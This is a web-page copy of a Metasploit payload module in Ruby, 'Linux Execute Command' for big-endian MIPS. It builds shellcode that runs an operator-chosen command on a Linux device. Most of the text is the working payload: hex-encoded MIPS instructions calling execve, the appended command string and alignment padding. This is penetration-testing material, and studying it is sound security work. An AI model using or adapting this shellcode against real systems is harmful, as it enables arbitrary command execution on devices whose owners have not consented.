Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/payloads/singles/linux/mipsbe/exec.rb
Views: 15919
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67module MetasploitModule89CachedSize = 521011include Msf::Payload::Single1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Linux Execute Command',16'Description' => %q{17A very small shellcode for executing commands.18This module is sometimes helpful for testing purposes.19},20'Author' =>21[22'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload23'[email protected]' #original payload24],25'References' =>26[27['EDB', '17940']28],29'License' => MSF_LICENSE,30'Platform' => 'linux',31'Arch' => ARCH_MIPSBE,32'Payload' =>33{34'Offsets' => {} ,35'Payload' => ''36})37)38register_options(39[40OptString.new('CMD', [ true, "The command string to execute" ]),41])42end4344#45# Returns the command string to use for execution46#47def command_string48return datastore['CMD'] || ''49end5051def generate(_opts = {})5253shellcode =54"\x24\x06\x06\x66" + #li a2,163855"\x04\xd0\xff\xff" + #bltzal a2,4100b456"\x28\x06\xff\xff" + #slti a2,zero,-157"\x27\xbd\xff\xe0" + #addiu sp,sp,-3258"\x27\xe4\x10\x01" + #addiu a0,ra,409759"\x24\x84\xf0\x1f" + #addiu a0,a0,-406560"\xaf\xa4\xff\xe8" + #sw a0,-24(sp)61"\xaf\xa0\xff\xec" + #sw zero,-20(sp)62"\x27\xa5\xff\xe8" + #addiu a1,sp,-2463"\x24\x02\x0f\xab" + #li v0,401164"\x01\x01\x01\x0c" #syscall 0x404046566#67# Constructs the payload68#6970shellcode = shellcode + command_string + "\x00"7172# we need to align our shellcode to 4 bytes73while shellcode.bytesize%4 != 074shellcode = shellcode + "\x00"75end7677return super + shellcode7879end80end818283